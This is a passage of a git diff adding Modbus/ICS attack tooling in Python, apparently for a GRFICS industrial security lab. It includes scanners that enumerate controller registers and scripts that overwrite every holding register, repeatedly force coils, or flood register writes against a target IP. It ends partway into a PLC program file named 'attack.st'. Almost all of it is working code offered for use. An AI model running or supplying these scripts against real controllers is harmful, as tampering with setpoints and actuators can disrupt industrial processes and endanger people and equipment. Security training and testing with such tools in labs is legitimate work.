from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 